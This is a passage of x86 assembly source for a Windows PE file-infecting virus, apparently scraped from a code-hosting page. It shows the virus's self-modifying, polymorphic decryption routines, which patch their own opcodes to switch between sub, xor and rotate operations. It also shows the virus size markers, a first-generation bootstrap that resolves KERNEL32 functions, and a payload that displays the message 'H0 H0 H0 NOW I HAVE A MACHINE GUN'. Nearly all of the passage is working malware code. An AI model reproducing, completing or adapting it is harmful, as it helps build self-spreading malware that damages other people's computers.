rol eax,8d
mov esi,dword ptr ds:[EncryptOperation2+ebp]
mov dword ptr ds:[SecondCryptB+ebp],esi
SecondCryptB:
db 90,90,90,90 ; work in AL. One byte excess to fit dword
pop ecx
dec ecx
jz FinishedCryptBlock2
jmp MakeRound2
FinishedCryptBlock2:
pop ecx
ret
;---------------------------------------------------------------------------
DeMessTwoBlocks:
push ecx esi
; First of all, we get seven bits from the beggining of the
;table, that is, the offset relative to the table in bits
;to get our value.
call GetDl
mov byte ptr [@DlHere+ebp],dl
mov ebx,0e0h ; beggining of that last 8 bits
mov ecx,04h
@Test_Rotate:
push ecx
dec ebx
mov byte ptr [@OperationBlock+2+ebp],2bh ; sub esi, eax
bt [edi],ebx
jnc @OperationBlock
mov byte ptr [@OperationBlock+2+ebp],33h ; xor esi, eax
@OperationBlock:
db 0ebh,00h
db 033h,0f0h
dec ebx
bt [edi],ebx
jnc @We_Dont_Rotate
; If we do rotate, we do it now, with dl value
db 0c1h,0c8h
@DlHere: db ?
; Rotated or not, the second bunch is still in EAX, while
;the first one is in ESI. So, we test the second byte.
@We_Dont_Rotate:
pop ecx
loop @Test_Rotate
mov ebx,esi
pop esi ecx
ret
;---------------------------------------------------------------------------
DeEncrypt64KbBlocks:
; This function is performed in reverse order than
;"Encrypt64KbBlocks", first fixing the block mixing
;and later decrypting each block.
lodsd
mov ebx,eax
lodsd
call DeMessTwoBlocks
xchg eax,ebx
push ebx esi
call DeEncryptBlock
pop esi ebx
xchg eax,ebx
push ebx esi
call DeEncryptBlock
pop esi ebx
ret
;---------------------------------------------------------------------------
DeEncrypt_stuff:
call GetBlocksReminder ; DX is the last one length
push dx
CheckLasting2: ; DX = REMAINDER, CX = NUMBER O BLOCKS
or cx,cx ; No more ?
jz Go_last_block2
call DeEncrypt64KbBlocks
call StoreOneBlock
loop CheckLasting2
Go_last_block2:
pop dx
cmp dx,4d ; Last block shit
jc Thisisfinished
push esi
lodsd
call DeEncryptBlock
pop edi
stosd
Thisisfinished:
ret
;---------------------------------------------------------------------------
Decrypt:
call DeEncrypt_stuff
ret
OperationTable:
db 31d dup (?) ; 30 for 24 operations, 1 for last one
virus_end label byte
virus_size equ virus_end-v_start
; FIRST GENERATION ONLY
diff_external equ external_first_gen_ops-Decryption
external_first_gen_ops:
lea eax,[Kernel32+ebp] ; GetModuleHandle for the
push eax ;first virus segregation.
call GetModuleHandleA
mov dword ptr [GetMHandle+ebp],eax
sub dword ptr [external_address+ebp],diff_external
ret
Kernel32: db 'KERNEL32.DLL',0
First_out:
push MB_ICONEXCLAMATION
push offset Azathoth
push offset WriteOurText
push NULL
call MessageBoxA
call ExitProcess
WriteOurText: db 'H0 H0 H0 NOW I HAVE A MACHINE GUN',0
include Win32api.inc
include PE.inc
end Start
Reference in New Issue Copy Permalink